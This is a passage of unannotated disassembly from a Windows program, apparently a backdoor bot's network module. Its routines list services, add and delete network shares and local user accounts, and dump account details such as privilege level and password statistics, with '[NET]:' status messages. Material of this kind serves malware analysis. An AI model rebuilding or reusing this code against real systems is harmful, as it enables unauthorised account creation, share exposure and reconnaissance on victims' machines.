loc_40A0FC ; --------------------------------------------------------------------------- loc_40A0BF: ; CODE XREF: sub_409FDF+D2j ; DATA XREF: .text:off_40A123o push offset aTheServiceDepe ; jumptable 0040A0B1 case 17 jmp short loc_40A0FC ; --------------------------------------------------------------------------- loc_40A0C6: ; CODE XREF: sub_409FDF+D2j ; DATA XREF: .text:off_40A123o push offset aTheServiceDe_0 ; jumptable 0040A0B1 case 10 jmp short loc_40A0FC ; --------------------------------------------------------------------------- loc_40A0CD: ; CODE XREF: sub_409FDF+D2j ; DATA XREF: .text:off_40A123o push offset aTheServiceHasB ; jumptable 0040A0B1 case 0 jmp short loc_40A0FC ; --------------------------------------------------------------------------- loc_40A0D4: ; CODE XREF: sub_409FDF+D2j ; DATA XREF: .text:off_40A123o push offset aTheSpecified_0 ; jumptable 0040A0B1 case 2 jmp short loc_40A0FC ; --------------------------------------------------------------------------- loc_40A0DB: ; CODE XREF: sub_409FDF+D2j ; DATA XREF: .text:off_40A123o push offset aTheServiceCoul ; jumptable 0040A0B1 case 11 jmp short loc_40A0FC ; --------------------------------------------------------------------------- loc_40A0E2: ; CODE XREF: sub_409FDF+D2j ; DATA XREF: .text:off_40A123o push offset aTheServiceHa_0 ; jumptable 0040A0B1 case 14 jmp short loc_40A0FC ; --------------------------------------------------------------------------- loc_40A0E9: ; CODE XREF: sub_409FDF+D2j ; DATA XREF: .text:off_40A123o push offset aTheRequested_1 ; jumptable 0040A0B1 case 3 jmp short loc_40A0FC ; --------------------------------------------------------------------------- loc_40A0F0: ; CODE XREF: sub_409FDF+D2j ; DATA XREF: .text:off_40A123o push offset aTheServiceHasN ; jumptable 0040A0B1 case 4 jmp short loc_40A0FC ; --------------------------------------------------------------------------- loc_40A0F7: ; CODE XREF: sub_409FDF+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40A0FC: ; CODE XREF: sub_409FDF+41j ; sub_409FDF+4Bj ... push offset dword_44B9F8 call sub_418D70 pop ecx pop ecx jmp short loc_40A11D ; --------------------------------------------------------------------------- loc_40A10A: ; CODE XREF: sub_409FDF+36j ; sub_409FDF+89j ... push eax ; default ; jumptable 0040A0B1 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_44B9F8 call sub_418D70 add esp, 0Ch loc_40A11D: ; CODE XREF: sub_409FDF+129j mov eax, offset dword_44B9F8 retn sub_409FDF endp ; --------------------------------------------------------------------------- off_40A123 dd offset loc_40A0CD ; DATA XREF: sub_409FDF+D2r dd offset loc_40A0D4 ; jump table for switch statement dd offset loc_40A0E9 dd offset loc_40A0F0 dd offset loc_40A0B8 dd offset loc_40A0C6 dd offset loc_40A0DB dd offset loc_40A0E2 dd offset loc_40A0BF dd offset loc_40A10A byte_40A14B db 0, 9, 1, 2 ; DATA XREF: sub_409FDF+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A15D proc near ; CODE XREF: sub_40C50A+200Cp var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_44B6B4 ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 14h loc_40A195: ; CODE XREF: sub_40A15D+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_44B680 ; EnumServicesStatusA test eax, eax jnz short loc_40A1CF call ds:dword_4942F0 cmp eax, 0EAh jnz loc_40A283 loc_40A1CF: ; CODE XREF: sub_40A15D+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40A27A lea esi, [ebp+var_188] loc_40A1E0: ; CODE XREF: sub_40A15D+117j mov eax, [esi+8] dec eax jz short loc_40A229 dec eax jz short loc_40A222 dec eax jz short loc_40A21B dec eax jz short loc_40A214 dec eax jz short loc_40A20D dec eax jz short loc_40A206 dec eax jz short loc_40A1FF push offset aUnknown_0 ; " Unknown" jmp short loc_40A22E ; --------------------------------------------------------------------------- loc_40A1FF: ; CODE XREF: sub_40A15D+99j push offset aPaused ; " Paused" jmp short loc_40A22E ; --------------------------------------------------------------------------- loc_40A206: ; CODE XREF: sub_40A15D+96j push offset aPausing ; " Pausing" jmp short loc_40A22E ; --------------------------------------------------------------------------- loc_40A20D: ; CODE XREF: sub_40A15D+93j push offset aContinuing ; " Continuing" jmp short loc_40A22E ; --------------------------------------------------------------------------- loc_40A214: ; CODE XREF: sub_40A15D+90j push offset aRunning ; " Running" jmp short loc_40A22E ; --------------------------------------------------------------------------- loc_40A21B: ; CODE XREF: sub_40A15D+8Dj push offset aStoping ; " Stoping" jmp short loc_40A22E ; --------------------------------------------------------------------------- loc_40A222: ; CODE XREF: sub_40A15D+8Aj push offset aStarting ; " Starting" jmp short loc_40A22E ; --------------------------------------------------------------------------- loc_40A229: ; CODE XREF: sub_40A15D+87j push offset aStopped ; " Stopped" loc_40A22E: ; CODE XREF: sub_40A15D+A0j ; sub_40A15D+A7j ... lea eax, [ebp+var_20] push eax call sub_418D70 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_0 ; "%s: %s (%s)" push eax call sub_418D70 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40A1E0 loc_40A27A: ; CODE XREF: sub_40A15D+77j cmp [ebp+var_8], ebx jnz loc_40A195 loc_40A283: ; CODE XREF: sub_40A15D+6Cj push [ebp+var_C] call dword_44B5C4 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40A15D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A29A proc near ; CODE XREF: sub_40C50A+20E5p ; sub_40C50A+20FDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40A333 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40A2C3 dec eax jnz short loc_40A313 push edi push 0 call sub_40A46C pop ecx pop ecx jmp short loc_40A30F ; --------------------------------------------------------------------------- loc_40A2C3: ; CODE XREF: sub_40A29A+18j cmp [ebp+arg_8], 0 jnz short loc_40A301 push 24h push edi call sub_4199F0 pop ecx test eax, eax pop ecx jnz short loc_40A301 push 57h pop eax loc_40A2DA: ; CODE XREF: sub_40A29A+77j push eax call sub_40AC44 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_44BCB4 push off_43A4D0[eax*4] push offset aNetSErrorWithS ; "[NET]: %s: Error with share: '%s'. %s" push esi call sub_418D70 add esp, 18h jmp short loc_40A353 ; --------------------------------------------------------------------------- loc_40A301: ; CODE XREF: sub_40A29A+2Dj ; sub_40A29A+3Bj push [ebp+arg_8] push edi push 0 call sub_40A3C0 add esp, 0Ch loc_40A30F: ; CODE XREF: sub_40A29A+27j test eax, eax jnz short loc_40A2DA loc_40A313: ; CODE XREF: sub_40A29A+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_44BCB4 push off_43A4D4[eax*4] push offset aNetSShareS_ ; "[NET]: %s share: '%s'." push esi call sub_418D70 add esp, 10h jmp short loc_40A353 ; --------------------------------------------------------------------------- loc_40A333: ; CODE XREF: sub_40A29A+Aj mov eax, [ebp+arg_0] mov esi, offset dword_44BCB4 lea eax, [eax+eax*2] push off_43A4D0[eax*4] push offset aNetSNoShareSpe ; "[NET]: %s: No share specified." push esi call sub_418D70 add esp, 0Ch loc_40A353: ; CODE XREF: sub_40A29A+65j ; sub_40A29A+97j mov eax, esi pop edi pop esi pop ebp retn sub_40A29A endp ; =============== S U B R O U T I N E ======================================= sub_40A359 proc near ; CODE XREF: sub_413B31+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40A366 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40A366: ; CODE XREF: sub_40A359+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_4943B0 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_44BEB4, 1 mov ebp, eax jnz short loc_40A3A3 or byte_44BEB4, 1 lea eax, [ebp+1] push eax call sub_41B010 pop ecx mov dword_44BC54, eax loc_40A3A3: ; CODE XREF: sub_40A359+32j push esi push esi push ebp push dword_44BC54 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_44BC54 pop edi pop ebp pop ebx pop esi retn sub_40A359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A3C0 proc near ; CODE XREF: sub_40A29A+6Dp ; sub_413E55+184p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40A42B push [ebp+arg_4] mov edi, eax call sub_40A42B push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_4199F0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40A42B add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_44B5C0 pop edi leave retn sub_40A3C0 endp ; =============== S U B R O U T I N E ======================================= sub_40A42B proc near ; CODE XREF: sub_40A3C0+Ap ; sub_40A3C0+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40A438 pop ebp retn ; --------------------------------------------------------------------------- loc_40A438: ; CODE XREF: sub_40A42B+9j push ebx push esi mov esi, ds:dword_4942D4 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41B010 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40A42B endp ; =============== S U B R O U T I N E ======================================= sub_40A46C proc near ; CODE XREF: sub_40A29A+20p ; sub_413B31+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40A42B push [esp+8+arg_4] mov esi, eax call sub_40A42B pop ecx pop ecx push 0 push eax push esi call dword_44B598 pop esi retn sub_40A46C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A48F proc near ; CODE XREF: sub_40C50A+2129p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40A42B xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 18h loc_40A4C8: ; CODE XREF: sub_40A48F+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_44B60C mov ebx, eax cmp ebx, esi jz short loc_40A52B cmp ebx, 0EAh jz short loc_40A52B push ebx push ebx call sub_40AC44 pop ecx push eax lea eax, [ebp+var_210] push offset aNetShareListEr ; "[NET]: Share list error: %s <%ld>" push eax call sub_418D70 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 24h jmp short loc_40A598 ; --------------------------------------------------------------------------- loc_40A52B: ; CODE XREF: sub_40A48F+5Dj ; sub_40A48F+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40A58F mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40A539: ; CODE XREF: sub_40A48F+FCj push dword ptr [esi+10h] call dword_44B5B4 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40A550 mov eax, offset aNo ; "No" loc_40A550: ; CODE XREF: sub_40A48F+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_418D70 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40A539 xor esi, esi loc_40A58F: ; CODE XREF: sub_40A48F+A2j push [ebp+var_4] call dword_44B750 loc_40A598: ; CODE XREF: sub_40A48F+9Aj cmp ebx, 0EAh jz loc_40A4C8 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40A48F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5B0 proc near ; CODE XREF: sub_40C50A+217Dp ; sub_40C50A+21A4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40A654 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40A5F2 dec eax jz short loc_40A5E7 dec eax jnz short loc_40A60D push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40A6F6 add esp, 14h jmp short loc_40A609 ; --------------------------------------------------------------------------- loc_40A5E7: ; CODE XREF: sub_40A5B0+1Dj push ebx push edi call sub_40A6D5 pop ecx pop ecx jmp short loc_40A609 ; --------------------------------------------------------------------------- loc_40A5F2: ; CODE XREF: sub_40A5B0+1Aj cmp [ebp+arg_8], edi jz short loc_40A606 push [ebp+arg_8] push ebx push edi call sub_40A67B add esp, 0Ch jmp short loc_40A609 ; --------------------------------------------------------------------------- loc_40A606: ; CODE XREF: sub_40A5B0+45j push 57h pop eax loc_40A609: ; CODE XREF: sub_40A5B0+35j ; sub_40A5B0+40j ... cmp eax, edi jnz short loc_40A62D loc_40A60D: ; CODE XREF: sub_40A5B0+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_44BEB8 push off_43A4D4[eax*4] push offset aNetSUsernameS_ ; "[NET]: %s username: '%s'." push esi call sub_418D70 add esp, 10h jmp short loc_40A674 ; --------------------------------------------------------------------------- loc_40A62D: ; CODE XREF: sub_40A5B0+5Bj push eax call sub_40AC44 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_44BEB8 push off_43A4D0[eax*4] push offset aNetSErrorWithU ; "[NET]: %s: Error with username: '%s'. %"... push esi call sub_418D70 add esp, 18h jmp short loc_40A674 ; --------------------------------------------------------------------------- loc_40A654: ; CODE XREF: sub_40A5B0+Dj mov eax, [ebp+arg_0] mov esi, offset dword_44BEB8 lea eax, [eax+eax*2] push off_43A4D0[eax*4] push offset aNetSNoUsername ; "[NET]: %s: No username specified." push esi call sub_418D70 add esp, 0Ch loc_40A674: ; CODE XREF: sub_40A5B0+7Bj ; sub_40A5B0+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40A5B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A67B proc near ; CODE XREF: sub_40A5B0+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40A42B push [ebp+arg_4] mov edi, eax call sub_40A42B push [ebp+arg_8] mov [ebp+var_24], eax call sub_40A42B add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_44B5A4 pop edi leave retn sub_40A67B endp ; =============== S U B R O U T I N E ======================================= sub_40A6D5 proc near ; CODE XREF: sub_40A5B0+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40A42B push [esp+8+arg_4] mov esi, eax call sub_40A42B pop ecx pop ecx push eax push esi call dword_44B594 pop esi retn sub_40A6D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6F6 proc near ; CODE XREF: sub_40A5B0+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40A42B push [ebp+arg_4] mov esi, eax call sub_40A42B pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_44B718 test eax, eax mov [ebp+arg_0], eax jnz loc_40AA83 mov eax, [ebp+var_4] test eax, eax jz loc_40AABE push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_418D70 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_40A80F dec eax jz short loc_40A808 dec eax jz short loc_40A801 mov eax, offset aUnknown_1 ; "Unknown" jmp short loc_40A814 ; --------------------------------------------------------------------------- loc_40A801: ; CODE XREF: sub_40A6F6+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40A814 ; --------------------------------------------------------------------------- loc_40A808: ; CODE XREF: sub_40A6F6+FFj mov eax, offset aUser_0 ; "User" jmp short loc_40A814 ; --------------------------------------------------------------------------- loc_40A80F: ; CODE XREF: sub_40A6F6+FCj mov eax, offset aGuest ; "Guest" loc_40A814: ; CODE XREF: sub_40A6F6+109j ; sub_40A6F6+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] loc_40A896: ; DATA XREF: .data:00435644o ; .data:00435688o ... push offset aParametersS ; "Parameters: %S" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_418D70 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40842D add esp, 20h pop edi pop ebx jmp short loc_40AAAF ; --------------------------------------------------------------------------- loc_40AA83: ; CODE XREF: sub_40A6F6+35j push eax lea eax, [ebp+var_204] push offset aNetUserInfoErr ; "[NET]: User info error: <%ld>" push eax call sub_418D70 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40842D add esp, 20h loc_40AAAF: ; CODE XREF: sub_40A6F6+38Bj cmp [ebp+var_4], 0 jz short loc_40AABE push [ebp+var_4] call dword_44B750 loc_40AABE: ; CODE XREF: sub_40A6F6+40j ; sub_40A6F6+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_40A6F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AAC4 proc near ; CODE XREF: sub_40C50A+21E1p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40A42B push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 18h loc_40AB03: ; CODE XREF: sub_40AAC4+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_44B628 cmp eax, esi mov [ebp+var_C], eax jz short loc_40AB64 cmp eax, 0EAh jz short loc_40AB64 push eax push eax call sub_40AC44 pop ecx push eax lea eax, [ebp+var_218] push offset aNetUserListErr ; "[NET]: User list error: %s <%ld>" push eax call sub_418D70 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 24h jmp short loc_40ABDF ; --------------------------------------------------------------------------- loc_40AB64: ; CODE XREF: sub_40AAC4+62j ; sub_40AAC4+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40ABF2 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40ABDF loc_40AB76: ; CODE XREF: sub_40AAC4+EDj cmp edi, esi jz short loc_40ABB5 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_8 ; " %S" push eax call sub_418D70 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40AB76 jmp short loc_40ABDF ; --------------------------------------------------------------------------- loc_40ABB5: ; CODE XREF: sub_40AAC4+B4j lea eax, [ebp+var_218] push offset aNetAnAccessVio ; "[NET]: An access violation has occured."... push eax call sub_418D70 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 1Ch loc_40ABDF: ; CODE XREF: sub_40AAC4+9Ej ; sub_40AAC4+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40ABF2 push edi call dword_44B750 xor edi, edi mov [ebp+var_4], edi loc_40ABF2: ; CODE XREF: sub_40AAC4+A5j ; sub_40AAC4+120j cmp [ebp+var_C], 0EAh jz loc_40AB03 cmp edi, esi jz short loc_40AC0A push edi call dword_44B750 loc_40AC0A: ; CODE XREF: sub_40AAC4+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_418D70 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40842D add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40AAC4 endp ; =============== S U B R O U T I N E ======================================= sub_40AC44 proc near ; CODE XREF: sub_40A29A+41p ; sub_40A48F+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40ACF6 jz loc_40ACEF cmp eax, 7Bh ja short loc_40ACBB jz short loc_40ACB1 cmp eax, 5 jz short loc_40ACA7 cmp eax, 8 jz short loc_40AC9D cmp eax, 32h jz short loc_40AC93 cmp eax, 35h jz short loc_40AC89 cmp eax, 57h jnz loc_40AD45 push offset aInvalidParamet ; "Invalid parameter." jmp loc_40AD66 ; --------------------------------------------------------------------------- loc_40AC89: ; CODE XREF: sub_40AC44+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40AD66 ; --------------------------------------------------------------------------- loc_40AC93: ; CODE XREF: sub_40AC44+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40AD66 ; --------------------------------------------------------------------------- loc_40AC9D: ; CODE XREF: sub_40AC44+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40AD66 ; --------------------------------------------------------------------------- loc_40ACA7: ; CODE XREF: sub_40AC44+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40AD66 ; --------------------------------------------------------------------------- loc_40ACB1: ; CODE XREF: sub_40AC44+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40AD66 ; --------------------------------------------------------------------------- loc_40ACBB: ; CODE XREF: sub_40AC44+1Aj sub eax, 7Ch jz short loc_40ACE8 sub eax, 7C8h jz short loc_40ACE1 dec eax jz short loc_40ACD7 dec eax jnz short loc_40AD45 push offset aDuplicateShare ; "Duplicate share name." jmp loc_40AD66 ; --------------------------------------------------------------------------- loc_40ACD7: ; CODE XREF: sub_40AC44+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40AD66 